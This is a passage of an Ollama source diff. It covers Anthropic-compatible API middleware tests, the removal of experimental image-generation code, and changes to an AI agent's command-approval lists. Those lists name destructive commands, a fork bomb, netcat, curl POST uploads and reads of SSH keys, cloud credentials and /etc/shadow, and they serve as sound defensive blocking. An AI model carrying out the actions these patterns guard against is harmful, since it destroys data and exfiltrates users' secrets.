Tools: []api.Tool{
{
Type: "function",
Function: api.ToolFunction{
Name: "get_weather",
Description: "Get current weather",
Parameters: api.ToolFunctionParameters{
Type: "object",
Required: []string{"location"},
Properties: testProps(map[string]api.ToolProperty{
"location": {Type: api.PropertyType{"string"}},
}),
},
},
},
},
Options: map[string]any{"num_predict": 1024},
Stream: &False,
},
},
{
name: "with tool result",
body: `{
"model": "test-model",
"max_tokens": 1024,
"messages": [
{"role": "user", "content": "What's the weather?"},
{"role": "assistant", "content": [
{"type": "tool_use", "id": "call_123", "name": "get_weather", "input": {"location": "Paris"}}
]},
{"role": "user", "content": [
{"type": "tool_result", "tool_use_id": "call_123", "content": "Sunny, 22°C"}
]}
]
}`,
req: api.ChatRequest{
Model: "test-model",
Messages: []api.Message{
{Role: "user", Content: "What's the weather?"},
{
Role: "assistant",
ToolCalls: []api.ToolCall{
{
ID: "call_123",
Function: api.ToolCallFunction{
Name: "get_weather",
Arguments: testArgs(map[string]any{"location": "Paris"}),
},
},
},
},
{Role: "tool", Content: "Sunny, 22°C", ToolCallID: "call_123"},
},
Options: map[string]any{"num_predict": 1024},
Stream: &False,
},
},
{
name: "with thinking enabled",
body: `{
"model": "test-model",
"max_tokens": 1024,
"thinking": {"type": "enabled", "budget_tokens": 1000},
"messages": [
{"role": "user", "content": "Hello"}
]
}`,
req: api.ChatRequest{
Model: "test-model",
Messages: []api.Message{
{Role: "user", Content: "Hello"},
},
Options: map[string]any{"num_predict": 1024},
Stream: &False,
Think: &api.ThinkValue{Value: true},
},
},
{
name: "missing model error",
body: `{
"max_tokens": 1024,
"messages": [
{"role": "user", "content": "Hello"}
]
}`,
err: anthropic.ErrorResponse{
Type: "error",
Error: anthropic.Error{
Type: "invalid_request_error",
Message: "model is required",
},
},
},
{
name: "missing max_tokens error",
body: `{
"model": "test-model",
"messages": [
{"role": "user", "content": "Hello"}
]
}`,
err: anthropic.ErrorResponse{
Type: "error",
Error: anthropic.Error{
Type: "invalid_request_error",
Message: "max_tokens is required and must be positive",
},
},
},
{
name: "missing messages error",
body: `{
"model": "test-model",
"max_tokens": 1024
}`,
err: anthropic.ErrorResponse{
Type: "error",
Error: anthropic.Error{
Type: "invalid_request_error",
Message: "messages is required",
},
},
},
{
name: "tool_use missing id error",
body: `{
"model": "test-model",
"max_tokens": 1024,
"messages": [
{"role": "assistant", "content": [
{"type": "tool_use", "name": "test"}
]}
]
}`,
err: anthropic.ErrorResponse{
Type: "error",
Error: anthropic.Error{
Type: "invalid_request_error",
Message: "tool_use block missing required 'id' field",
},
},
},
}
endpoint := func(c *gin.Context) {
c.Status(http.StatusOK)
}
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(AnthropicMessagesMiddleware(), captureAnthropicRequest(&capturedRequest))
router.Handle(http.MethodPost, "/v1/messages", endpoint)
for _, tc := range testCases {
t.Run(tc.name, func(t *testing.T) {
req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(tc.body))
req.Header.Set("Content-Type", "application/json")
defer func() { capturedRequest = nil }()
resp := httptest.NewRecorder()
router.ServeHTTP(resp, req)
if tc.err.Type != "" {
// Expect error
if resp.Code == http.StatusOK {
t.Fatalf("expected error response, got 200 OK")
}
var errResp anthropic.ErrorResponse
if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
t.Fatalf("failed to unmarshal error: %v", err)
}
if errResp.Type != tc.err.Type {
t.Errorf("expected error type %q, got %q", tc.err.Type, errResp.Type)
}
if errResp.Error.Type != tc.err.Error.Type {
t.Errorf("expected error.type %q, got %q", tc.err.Error.Type, errResp.Error.Type)
}
if errResp.Error.Message != tc.err.Error.Message {
t.Errorf("expected error.message %q, got %q", tc.err.Error.Message, errResp.Error.Message)
}
return
}
if resp.Code != http.StatusOK {
t.Fatalf("unexpected status code: %d, body: %s", resp.Code, resp.Body.String())
}
if capturedRequest == nil {
t.Fatal("request was not captured")
}
// Compare relevant fields
if capturedRequest.Model != tc.req.Model {
t.Errorf("model mismatch: got %q, want %q", capturedRequest.Model, tc.req.Model)
}
if diff := cmp.Diff(tc.req.Messages, capturedRequest.Messages,
cmpopts.IgnoreUnexported(api.ToolCallFunctionArguments{}, api.ToolPropertiesMap{})); diff != "" {
t.Errorf("messages mismatch (-want +got):\n%s", diff)
}
if tc.req.Stream != nil && capturedRequest.Stream != nil {
if *tc.req.Stream != *capturedRequest.Stream {
t.Errorf("stream mismatch: got %v, want %v", *capturedRequest.Stream, *tc.req.Stream)
}
}
if tc.req.Think != nil {
if capturedRequest.Think == nil {
t.Error("expected Think to be set")
} else if capturedRequest.Think.Value != tc.req.Think.Value {
t.Errorf("Think mismatch: got %v, want %v", capturedRequest.Think.Value, tc.req.Think.Value)
}
}
})
}
}
func TestAnthropicMessagesMiddleware_Headers(t *testing.T) {
gin.SetMode(gin.TestMode)
t.Run("streaming sets correct headers", func(t *testing.T) {
router := gin.New()
router.Use(AnthropicMessagesMiddleware())
router.POST("/v1/messages", func(c *gin.Context) {
// Check headers were set
if c.Writer.Header().Get("Content-Type") != "text/event-stream" {
t.Errorf("expected Content-Type text/event-stream, got %q", c.Writer.Header().Get("Content-Type"))
}
if c.Writer.Header().Get("Cache-Control") != "no-cache" {
t.Errorf("expected Cache-Control no-cache, got %q", c.Writer.Header().Get("Cache-Control"))
}
c.Status(http.StatusOK)
})
body := `{"model": "test", "max_tokens": 100, "stream": true, "messages": [{"role": "user", "content": "Hi"}]}`
req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
resp := httptest.NewRecorder()
router.ServeHTTP(resp, req)
})
}
func TestAnthropicMessagesMiddleware_InvalidJSON(t *testing.T) {
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(AnthropicMessagesMiddleware())
router.POST("/v1/messages", func(c *gin.Context) {
c.Status(http.StatusOK)
})
req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(`{invalid json`))
req.Header.Set("Content-Type", "application/json")
resp := httptest.NewRecorder()
router.ServeHTTP(resp, req)
if resp.Code != http.StatusBadRequest {
t.Errorf("expected status 400, got %d", resp.Code)
}
var errResp anthropic.ErrorResponse
if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
t.Fatalf("failed to unmarshal error: %v", err)
}
if errResp.Type != "error" {
t.Errorf("expected type 'error', got %q", errResp.Type)
}
if errResp.Error.Type != "invalid_request_error" {
t.Errorf("expected error type 'invalid_request_error', got %q", errResp.Error.Type)
}
}
func TestAnthropicWriter_NonStreaming(t *testing.T) {
gin.SetMode(gin.TestMode)
router := gin.New()
router.Use(AnthropicMessagesMiddleware())
router.POST("/v1/messages", func(c *gin.Context) {
// Simulate Ollama response
resp := api.ChatResponse{
Model: "test-model",
Message: api.Message{
Role: "assistant",
Content: "Hello there!",
},
Done: true,
DoneReason: "stop",
Metrics: api.Metrics{
PromptEvalCount: 10,
EvalCount: 5,
},
}
data, _ := json.Marshal(resp)
c.Writer.WriteHeader(http.StatusOK)
_, _ = c.Writer.Write(data)
})
body := `{"model": "test-model", "max_tokens": 100, "messages": [{"role": "user", "content": "Hi"}]}`
req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
resp := httptest.NewRecorder()
router.ServeHTTP(resp, req)
if resp.Code != http.StatusOK {
t.Fatalf("expected status 200, got %d", resp.Code)
}
var result anthropic.MessagesResponse
if err := json.Unmarshal(resp.Body.Bytes(), &result); err != nil {
t.Fatalf("failed to unmarshal response: %v", err)
}
if result.Type != "message" {
t.Errorf("expected type 'message', got %q", result.Type)
}
if result.Role != "assistant" {
t.Errorf("expected role 'assistant', got %q", result.Role)
}
if len(result.Content) != 1 {
t.Fatalf("expected 1 content block, got %d", len(result.Content))
}
if result.Content[0].Text == nil || *result.Content[0].Text != "Hello there!" {
t.Errorf("expected text 'Hello there!', got %v", result.Content[0].Text)
}
if result.StopReason != "end_turn" {
t.Errorf("expected stop_reason 'end_turn', got %q", result.StopReason)
}
if result.Usage.InputTokens != 10 {
t.Errorf("expected input_tokens 10, got %d", result.Usage.InputTokens)
}
if result.Usage.OutputTokens != 5 {
t.Errorf("expected output_tokens 5, got %d", result.Usage.OutputTokens)
}
}
// TestAnthropicWriter_ErrorFromRoutes tests error handling when routes.go sends
// gin.H{"error": "message"} without a StatusCode field (which is the common case)
func TestAnthropicWriter_ErrorFromRoutes(t *testing.T) {
gin.SetMode(gin.TestMode)
tests := []struct {
name string
statusCode int
errorPayload any
wantErrorType string
wantMessage string
}{
// routes.go sends errors without StatusCode in JSON, so we must use HTTP status
{
name: "404 with gin.H error (model not found)",
statusCode: http.StatusNotFound,
errorPayload: gin.H{"error": "model 'nonexistent' not found"},
wantErrorType: "not_found_error",
wantMessage: "model 'nonexistent' not found",
},
{
name: "400 with gin.H error (bad request)",
statusCode: http.StatusBadRequest,
errorPayload: gin.H{"error": "model is required"},
wantErrorType: "invalid_request_error",
wantMessage: "model is required",
},
{
name: "500 with gin.H error (internal error)",
statusCode: http.StatusInternalServerError,
errorPayload: gin.H{"error": "something went wrong"},
wantErrorType: "api_error",
wantMessage: "something went wrong",
},
{
name: "404 with api.StatusError",
statusCode: http.StatusNotFound,
errorPayload: api.StatusError{
StatusCode: http.StatusNotFound,
ErrorMessage: "model not found via StatusError",
},
wantErrorType: "not_found_error",
wantMessage: "model not found via StatusError",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
router := gin.New()
router.Use(AnthropicMessagesMiddleware())
router.POST("/v1/messages", func(c *gin.Context) {
// Simulate what routes.go does - set status and write error JSON
data, _ := json.Marshal(tt.errorPayload)
c.Writer.WriteHeader(tt.statusCode)
_, _ = c.Writer.Write(data)
})
body := `{"model": "test-model", "max_tokens": 100, "messages": [{"role": "user", "content": "Hi"}]}`
req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
req.Header.Set("Content-Type", "application/json")
resp := httptest.NewRecorder()
router.ServeHTTP(resp, req)
if resp.Code != tt.statusCode {
t.Errorf("expected status %d, got %d", tt.statusCode, resp.Code)
}
var errResp anthropic.ErrorResponse
if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
t.Fatalf("failed to unmarshal error response: %v\nbody: %s", err, resp.Body.String())
}
if errResp.Type != "error" {
t.Errorf("expected type 'error', got %q", errResp.Type)
}
if errResp.Error.Type != tt.wantErrorType {
t.Errorf("expected error type %q, got %q", tt.wantErrorType, errResp.Error.Type)
}
if errResp.Error.Message != tt.wantMessage {
t.Errorf("expected message %q, got %q", tt.wantMessage, errResp.Error.Message)
}
})
}
}

View File

@@ -1,33 +0,0 @@
package progress
import (
"fmt"
"strings"
)
// StepBar displays step-based progress (e.g., for image generation steps).
type StepBar struct {
message string
current int
total int
}
func NewStepBar(message string, total int) *StepBar {
return &StepBar{message: message, total: total}
}
func (s *StepBar) Set(current int) {
s.current = current
}
func (s *StepBar) String() string {
percent := float64(s.current) / float64(s.total) * 100
barWidth := s.total
empty := barWidth - s.current
// "Generating 0% ▕ ▏ 0/9"
return fmt.Sprintf("%s %3.0f%% ▕%s%s▏ %d/%d",
s.message, percent,
strings.Repeat("█", s.current), strings.Repeat(" ", empty),
s.current, s.total)
}

View File

@@ -3,7 +3,6 @@ package runner
import (
"github.com/ollama/ollama/runner/llamarunner"
"github.com/ollama/ollama/runner/ollamarunner"
imagerunner "github.com/ollama/ollama/x/imagegen/runner"
)
func Execute(args []string) error {
@@ -12,19 +11,12 @@ func Execute(args []string) error {
}
var newRunner bool
var imageRunner bool
if len(args) > 0 && args[0] == "--ollama-engine" {
if args[0] == "--ollama-engine" {
args = args[1:]
newRunner = true
}
if len(args) > 0 && args[0] == "--image-engine" {
args = args[1:]
imageRunner = true
}
if imageRunner {
return imagerunner.Execute(args)
} else if newRunner {
if newRunner {
return ollamarunner.Execute(args)
} else {
return llamarunner.Execute(args)

View File

@@ -30,7 +30,6 @@ import (
"github.com/ollama/ollama/thinking"
"github.com/ollama/ollama/types/model"
"github.com/ollama/ollama/version"
"github.com/ollama/ollama/x/imagegen/transfer"
)
var (
@@ -74,11 +73,6 @@ type Model struct {
func (m *Model) Capabilities() []model.Capability {
capabilities := []model.Capability{}
// Check for image generation model via config capabilities
if slices.Contains(m.Config.Capabilities, "image") {
return []model.Capability{model.CapabilityImageGeneration}
}
// Check for completion capability
if m.ModelPath != "" {
f, err := gguf.Open(m.ModelPath)
@@ -561,24 +555,6 @@ func PushModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
layers = append(layers, manifest.Config)
}
// Use fast transfer for models with tensor layers (many small blobs)
if hasTensorLayers(layers) {
// Read raw manifest JSON to preserve tensor metadata fields
manifestPath, err := mp.GetManifestPath()
if err != nil {
return err
}
manifestJSON, err := os.ReadFile(manifestPath)
if err != nil {
return err
}
if err := pushWithTransfer(ctx, mp, layers, manifestJSON, regOpts, fn); err != nil {
return err
}
fn(api.ProgressResponse{Status: "success"})
return nil
}
for _, layer := range layers {
if err := uploadBlob(ctx, mp, layer, regOpts, fn); err != nil {
slog.Info(fmt.Sprintf("error uploading blob: %v", err))
@@ -644,15 +620,6 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
layers = append(layers, manifest.Config)
}
// Use fast transfer for models with tensor layers (many small blobs)
if hasTensorLayers(layers) {
if err := pullWithTransfer(ctx, mp, layers, manifest, regOpts, fn); err != nil {
return err
}
fn(api.ProgressResponse{Status: "success"})
return nil
}
skipVerify := make(map[string]bool)
for _, layer := range layers {
cacheHit, err := downloadBlob(ctx, downloadOpts{
@@ -667,6 +634,7 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
skipVerify[layer.Digest] = cacheHit
delete(deleteMap, layer.Digest)
}
delete(deleteMap, manifest.Config.Digest)
fn(api.ProgressResponse{Status: "verifying sha256 digest"})
for _, layer := range layers {
@@ -675,11 +643,13 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
}
if err := verifyBlob(layer.Digest); err != nil {
if errors.Is(err, errDigestMismatch) {
// something went wrong, delete the blob
fp, err := GetBlobsPath(layer.Digest)
if err != nil {
return err
}
if err := os.Remove(fp); err != nil {
// log this, but return the original error
slog.Info(fmt.Sprintf("couldn't remove file with digest mismatch '%s': %v", fp, err))
}
}
@@ -687,11 +657,6 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
}
}
for _, layer := range layers {
delete(deleteMap, layer.Digest)
}
delete(deleteMap, manifest.Config.Digest)
fn(api.ProgressResponse{Status: "writing manifest"})
manifestJSON, err := json.Marshal(manifest)
@@ -725,148 +690,6 @@ func PullModel(ctx context.Context, name string, regOpts *registryOptions, fn fu
return nil
}
// hasTensorLayers checks if any layer has tensor media type.
func hasTensorLayers(layers []Layer) bool {
for _, layer := range layers {
if layer.MediaType == MediaTypeImageTensor {
return true
}
}
return false
}
// pullWithTransfer uses the simplified x/transfer package for downloading blobs.
func pullWithTransfer(ctx context.Context, mp ModelPath, layers []Layer, manifest *Manifest, regOpts *registryOptions, fn func(api.ProgressResponse)) error {
blobs := make([]transfer.Blob, len(layers))
for i, layer := range layers {
blobs[i] = transfer.Blob{
Digest: layer.Digest,
Size: layer.Size,
}
}
destDir, err := GetBlobsPath("")
if err != nil {
return err
}
base := mp.BaseURL()
if base.Scheme != "http" && regOpts != nil && regOpts.Insecure {
base.Scheme = "http"
}
baseURL := base.String()
var totalSize int64
for _, blob := range blobs {
totalSize += blob.Size
}
progress := func(completed, total int64) {
fn(api.ProgressResponse{
Status: "pulling model",
Digest: "sha256:model",
Total: total,
Completed: completed,
})
}
getToken := func(ctx context.Context, challenge transfer.AuthChallenge) (string, error) {
return getAuthorizationToken(ctx, registryChallenge{
Realm: challenge.Realm,
Service: challenge.Service,
Scope: challenge.Scope,
})
}
if err := transfer.Download(ctx, transfer.DownloadOptions{
Blobs: blobs,
BaseURL: baseURL,
DestDir: destDir,
Repository: mp.GetNamespaceRepository(),
Progress: progress,
Token: regOpts.Token,
GetToken: getToken,
Logger: slog.Default(),
}); err != nil {
return err
}
// Write manifest
fn(api.ProgressResponse{Status: "writing manifest"})
manifestJSON, err := json.Marshal(manifest)
if err != nil {
return err
}
fp, err := mp.GetManifestPath()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(fp), 0o755); err != nil {
return err
}
return os.WriteFile(fp, manifestJSON, 0o644)
}
// pushWithTransfer uses the simplified x/transfer package for uploading blobs and manifest.
func pushWithTransfer(ctx context.Context, mp ModelPath, layers []Layer, manifestJSON []byte, regOpts *registryOptions, fn func(api.ProgressResponse)) error {
blobs := make([]transfer.Blob, len(layers))
for i, layer := range layers {
blobs[i] = transfer.Blob{
Digest: layer.Digest,
Size: layer.Size,
From: layer.From,
}
}
srcDir, err := GetBlobsPath("")
if err != nil {
return err
}
base := mp.BaseURL()
if base.Scheme != "http" && regOpts != nil && regOpts.Insecure {
base.Scheme = "http"
}
baseURL := base.String()
var totalSize int64
for _, blob := range blobs {
totalSize += blob.Size
}
progress := func(completed, total int64) {
fn(api.ProgressResponse{
Status: "pushing model",
Digest: "sha256:model",
Total: total,
Completed: completed,
})
}
getToken := func(ctx context.Context, challenge transfer.AuthChallenge) (string, error) {
return getAuthorizationToken(ctx, registryChallenge{
Realm: challenge.Realm,
Service: challenge.Service,
Scope: challenge.Scope,
})
}
return transfer.Upload(ctx, transfer.UploadOptions{
Blobs: blobs,
BaseURL: baseURL,
SrcDir: srcDir,
Progress: progress,
Token: regOpts.Token,
GetToken: getToken,
Logger: slog.Default(),
Manifest: manifestJSON,
ManifestRef: mp.Tag,
Repository: mp.GetNamespaceRepository(),
})
}
func pullModelManifest(ctx context.Context, mp ModelPath, regOpts *registryOptions) (*Manifest, error) {
requestURL := mp.BaseURL().JoinPath("v2", mp.GetNamespaceRepository(), "manifests", mp.Tag)

View File

@@ -47,15 +47,6 @@ func TestModelCapabilities(t *testing.T) {
model Model
expectedCaps []model.Capability
}{
{
name: "model with image generation capability via config",
model: Model{
Config: model.ConfigV2{
Capabilities: []string{"image"},
},
},
expectedCaps: []model.Capability{model.CapabilityImageGeneration},
},
{
name: "model with completion capability",
model: Model{

View File

@@ -13,14 +13,9 @@ type Layer struct {
Digest string `json:"digest"`
Size int64 `json:"size"`
From string `json:"from,omitempty"`
Name string `json:"name,omitempty"` // tensor name, e.g., "text_encoder/model.embed_tokens.weight"
status string
}
const (
MediaTypeImageTensor = "application/vnd.ollama.image.tensor"
)
func NewLayer(r io.Reader, mediatype string) (Layer, error) {
blobs, err := GetBlobsPath("")
if err != nil {

View File

@@ -50,8 +50,6 @@ import (
"github.com/ollama/ollama/types/errtypes"
"github.com/ollama/ollama/types/model"
"github.com/ollama/ollama/version"
"github.com/ollama/ollama/x/imagegen"
imagegenapi "github.com/ollama/ollama/x/imagegen/api"
)
const signinURLStr = "https://ollama.com/connect?name=%s&key=%s"
@@ -164,29 +162,6 @@ func (s *Server) scheduleRunner(ctx context.Context, name string, caps []model.C
return runner.llama, model, &opts, nil
}
// ScheduleImageGenRunner schedules an image generation model runner.
// This implements the imagegenapi.RunnerScheduler interface.
func (s *Server) ScheduleImageGenRunner(c *gin.Context, modelName string, opts api.Options, keepAlive *api.Duration) (llm.LlamaServer, error) {
m := &Model{
Name: modelName,
ShortName: modelName,
ModelPath: modelName, // For image gen, ModelPath is just the model name
Config: model.ConfigV2{
Capabilities: []string{"image"},
},
}
runnerCh, errCh := s.sched.GetRunner(c.Request.Context(), m, opts, keepAlive)
var runner *runnerRef
select {
case runner = <-runnerCh:
case err := <-errCh:
return nil, err
}
return runner.llama, nil
}
func signinURL() (string, error) {
pubKey, err := auth.GetPublicKey()
if err != nil {
@@ -214,12 +189,6 @@ func (s *Server) GenerateHandler(c *gin.Context) {
return
}
// Check if this is a known image generation model
if imagegen.ResolveModelName(req.Model) != "" {
imagegenapi.HandleGenerateRequest(c, s, req.Model, req.Prompt, req.KeepAlive, streamResponse)
return
}
name := model.ParseName(req.Model)
if !name.IsValid() {
// Ideally this is "invalid model name" but we're keeping with
@@ -1575,12 +1544,6 @@ func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) {
r.GET("/v1/models/:model", middleware.RetrieveMiddleware(), s.ShowHandler)
r.POST("/v1/responses", middleware.ResponsesMiddleware(), s.ChatHandler)
// Inference (Anthropic compatibility)
r.POST("/v1/messages", middleware.AnthropicMessagesMiddleware(), s.ChatHandler)
// Experimental image generation support
imagegenapi.RegisterRoutes(r, s)
if rc != nil {
// wrap old with new
rs := &registry.Local{

View File

@@ -21,7 +21,6 @@ import (
"github.com/ollama/ollama/logutil"
"github.com/ollama/ollama/ml"
"github.com/ollama/ollama/types/model"
"github.com/ollama/ollama/x/imagegen"
)
type LlmRequest struct {
@@ -195,14 +194,6 @@ func (s *Scheduler) processPending(ctx context.Context) {
slog.Debug("updating default concurrency", "OLLAMA_MAX_LOADED_MODELS", maxRunners, "gpu_count", len(gpus))
}
// Check for image generation model before attempting GGML load
if slices.Contains(pending.model.Config.Capabilities, "image") {
if s.loadImageGen(pending) {
break
}
continue
}
// Load model for fitting
logutil.Trace("loading model metadata", "model", pending.model.ModelPath)
ggml, err := llm.LoadModel(pending.model.ModelPath, 1024)
@@ -552,48 +543,6 @@ iGPUScan:
return false
}
// loadImageGen loads an image generation model.
func (s *Scheduler) loadImageGen(req *LlmRequest) bool {
// Use model name for imagegen (it resolves manifests by name, not file path)
modelName := req.model.ShortName
server, err := imagegen.NewServer(modelName)
if err != nil {
req.errCh <- err
return true
}
sessionDuration := envconfig.KeepAlive()
if req.sessionDuration != nil {
sessionDuration = req.sessionDuration.Duration
}
runner := &runnerRef{
model: req.model,
modelPath: req.model.ModelPath,
llama: server,
Options: &req.opts,
loading: false,
sessionDuration: sessionDuration,
refCount: 1,
}
s.loadedMu.Lock()
s.loaded[req.model.ModelPath] = runner
s.loadedMu.Unlock()
// Set up expiration timer
runner.refMu.Lock()
if sessionDuration > 0 {
runner.expireTimer = time.AfterFunc(sessionDuration, func() {
s.expiredCh <- runner
})
}
runner.refMu.Unlock()
req.useLoadedRunner(runner, s.finishedReqCh)
return true
}
func (s *Scheduler) updateFreeSpace(allGpus []ml.DeviceInfo) {
if len(allGpus) == 0 {
return

View File

@@ -6,7 +6,6 @@ import (
"errors"
"log/slog"
"os"
"slices"
"testing"
"time"
@@ -17,7 +16,6 @@ import (
"github.com/ollama/ollama/fs/ggml"
"github.com/ollama/ollama/llm"
"github.com/ollama/ollama/ml"
"github.com/ollama/ollama/types/model"
)
func TestMain(m *testing.M) {
@@ -806,61 +804,3 @@ func (s *mockLlm) GetPort() int { return -
func (s *mockLlm) GetDeviceInfos(ctx context.Context) []ml.DeviceInfo { return nil }
func (s *mockLlm) HasExited() bool { return false }
func (s *mockLlm) GetActiveDeviceIDs() []ml.DeviceID { return nil }
// TestImageGenCapabilityDetection verifies that models with "image" capability
// are correctly identified and routed differently from language models.
func TestImageGenCapabilityDetection(t *testing.T) {
// Model with image capability should be detected
imageModel := &Model{
Config: model.ConfigV2{
Capabilities: []string{"image"},
},
}
require.True(t, slices.Contains(imageModel.Config.Capabilities, "image"))
// Model without image capability should not be detected
langModel := &Model{
Config: model.ConfigV2{
Capabilities: []string{"completion"},
},
}
require.False(t, slices.Contains(langModel.Config.Capabilities, "image"))
// Empty capabilities should not match
emptyModel := &Model{}
require.False(t, slices.Contains(emptyModel.Config.Capabilities, "image"))
}
// TestImageGenRunnerCanBeEvicted verifies that an image generation model
// loaded in the scheduler can be evicted by a language model request.
func TestImageGenRunnerCanBeEvicted(t *testing.T) {
ctx, done := context.WithTimeout(t.Context(), 500*time.Millisecond)
defer done()
s := InitScheduler(ctx)
s.getGpuFn = getGpuFn
s.getSystemInfoFn = getSystemInfoFn
// Simulate an image gen runner already loaded
imageGenRunner := &runnerRef{
model: &Model{Name: "z-image", ModelPath: "/fake/image/model"},
modelPath: "/fake/image/model",
llama: &mockLlm{vramSize: 21 * format.GigaByte, vramByGPU: map[ml.DeviceID]uint64{}},
sessionDuration: 5 * time.Millisecond,
refCount: 0, // idle
}
s.loadedMu.Lock()
s.loaded["/fake/image/model"] = imageGenRunner
s.loadedMu.Unlock()
// Verify the image gen runner is loaded
s.loadedMu.Lock()
require.Len(t, s.loaded, 1)
s.loadedMu.Unlock()
// findRunnerToUnload should find the idle image gen runner
runner := s.findRunnerToUnload()
require.NotNil(t, runner)
require.Equal(t, "/fake/image/model", runner.modelPath)
}

View File

@@ -3,13 +3,12 @@ package model
type Capability string
const (
CapabilityCompletion = Capability("completion")
CapabilityTools = Capability("tools")
CapabilityInsert = Capability("insert")
CapabilityVision = Capability("vision")
CapabilityEmbedding = Capability("embedding")
CapabilityThinking = Capability("thinking")
CapabilityImageGeneration = Capability("image")
CapabilityCompletion = Capability("completion")
CapabilityTools = Capability("tools")
CapabilityInsert = Capability("insert")
CapabilityVision = Capability("vision")
CapabilityEmbedding = Capability("embedding")
CapabilityThinking = Capability("thinking")
)
func (c Capability) String() string {

View File

@@ -9,7 +9,7 @@ Support is currently limited to MacOS and Linux with CUDA GPUs. We're looking t
```
cmake --preset MLX
cmake --build --preset MLX --parallel
cmake --install build --component MLX
cmake --install --component MLX
go build -tags mlx .
```

View File

@@ -70,9 +70,6 @@ var autoAllowCommands = map[string]bool{
// autoAllowPrefixes are command prefixes that are always allowed.
// These are read-only or commonly-needed development commands.
var autoAllowPrefixes = []string{
// Git read-only
"git status", "git log", "git diff", "git branch", "git show",
"git remote -v", "git tag", "git stash list",
// Package managers - run scripts
"npm run", "npm test", "npm start",
"bun run", "bun test",
@@ -91,6 +88,9 @@ var autoAllowPrefixes = []string{
}
// denyPatterns are dangerous command patterns that are always blocked.
// NOTE: Some network patterns (curl POST, scp, rsync) moved to warnPatterns
// to allow user escalation with explicit approval.
// These patterns use word boundary matching to avoid false positives (e.g., "nc " won't match "rsync").
var denyPatterns = []string{
// Destructive commands
"rm -rf", "rm -fr",
@@ -101,19 +101,8 @@ var denyPatterns = []string{
"sudo ", "su ", "doas ",
"chmod 777", "chmod -R 777",
"chown ", "chgrp ",
// Network exfiltration
"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
"wget --post",
// Network tools (raw sockets - still blocked)
"nc ", "netcat ",
"scp ", "rsync ",
// History and credentials
"history",
".bash_history", ".zsh_history",
".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
".ssh/config",
".aws/credentials", ".aws/config",
".gnupg/",
"/etc/shadow", "/etc/passwd",
// Dangerous patterns
":(){ :|:& };:", // fork bomb
"chmod +s", // setuid
@@ -121,11 +110,20 @@ var denyPatterns = []string{
}
// denyPathPatterns are file patterns that should never be accessed.
// These are checked as exact filename matches or path suffixes.
// These are checked using simple substring matching.
var denyPathPatterns = []string{
".env",
".env.local",
".env.production",
// History files
"history",
".bash_history", ".zsh_history",
// SSH keys and config
".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
".ssh/config",
// Cloud credentials
".aws/credentials", ".aws/config",
".gnupg/",
// System credentials
"/etc/shadow", "/etc/passwd",
// Secrets files
"credentials.json",
"secrets.json",
"secrets.yaml",
@@ -134,6 +132,25 @@ var denyPathPatterns = []string{
".key",
}
// warnPatterns are patterns that require explicit approval with warning.
// These are potentially risky but legitimate in some contexts.
// Unlike denyPatterns, these show a warning but allow user approval.
var warnPatterns = []string{
// Network operations (user may need for legitimate API testing)
"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
"wget --post",
// File transfer (user may need for deployments)
"scp ", "rsync ",
}
// warnPathPatterns are file patterns that require explicit approval with warning.
// Unlike denyPathPatterns, these show a warning but allow user approval.
var warnPathPatterns = []string{
".env",
".env.local",
".env.production",
}
// ApprovalManager manages tool execution approvals.
type ApprovalManager struct {
allowlist map[string]bool // exact matches
@@ -176,7 +193,8 @@ func IsDenied(command string) (bool, string) {
// Check deny patterns
for _, pattern := range denyPatterns {
if strings.Contains(commandLower, strings.ToLower(pattern)) {
patternLower := strings.ToLower(pattern)
if containsWord(commandLower, patternLower) {
return true, pattern
}
}
@@ -191,6 +209,57 @@ func IsDenied(command string) (bool, string) {
return false, ""
}
// containsWord checks if a command contains a pattern as a word/command.
// This handles patterns like "nc " which should match "nc -l 8080" but not "rsync -avz".
// The pattern is considered a match if:
// - It appears at the start of the command, OR
// - It's preceded by a space, pipe, semicolon, or other delimiter
func containsWord(command, pattern string) bool {
// Simple contains check first
if !strings.Contains(command, pattern) {
return false
}
// Check if pattern is at the start
if strings.HasPrefix(command, pattern) {
return true
}
// Check if pattern is preceded by a delimiter (space, pipe, semicolon, &, etc.)
delimiters := []string{" ", "|", ";", "&", "(", "`", "$"}
for _, delim := range delimiters {
if strings.Contains(command, delim+pattern) {
return true
}
}
return false
}
// IsWarn checks if a bash command matches warning patterns.
// These are patterns that require explicit user approval with a warning,
// but are not completely blocked like deny patterns.
// Returns true and the matched pattern if it should warn.
func IsWarn(command string) (bool, string) {
commandLower := strings.ToLower(command)
// Check warn patterns
for _, pattern := range warnPatterns {
if strings.Contains(commandLower, strings.ToLower(pattern)) {
return true, pattern
}
}
// Check warn path patterns
for _, pattern := range warnPathPatterns {
if strings.Contains(commandLower, strings.ToLower(pattern)) {
return true, pattern
}
}
return false, ""
}
// FormatDeniedResult returns the tool result message when a command is blocked.
func FormatDeniedResult(command string, pattern string) string {
return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern)
@@ -198,6 +267,7 @@ func FormatDeniedResult(command string, pattern string) string {
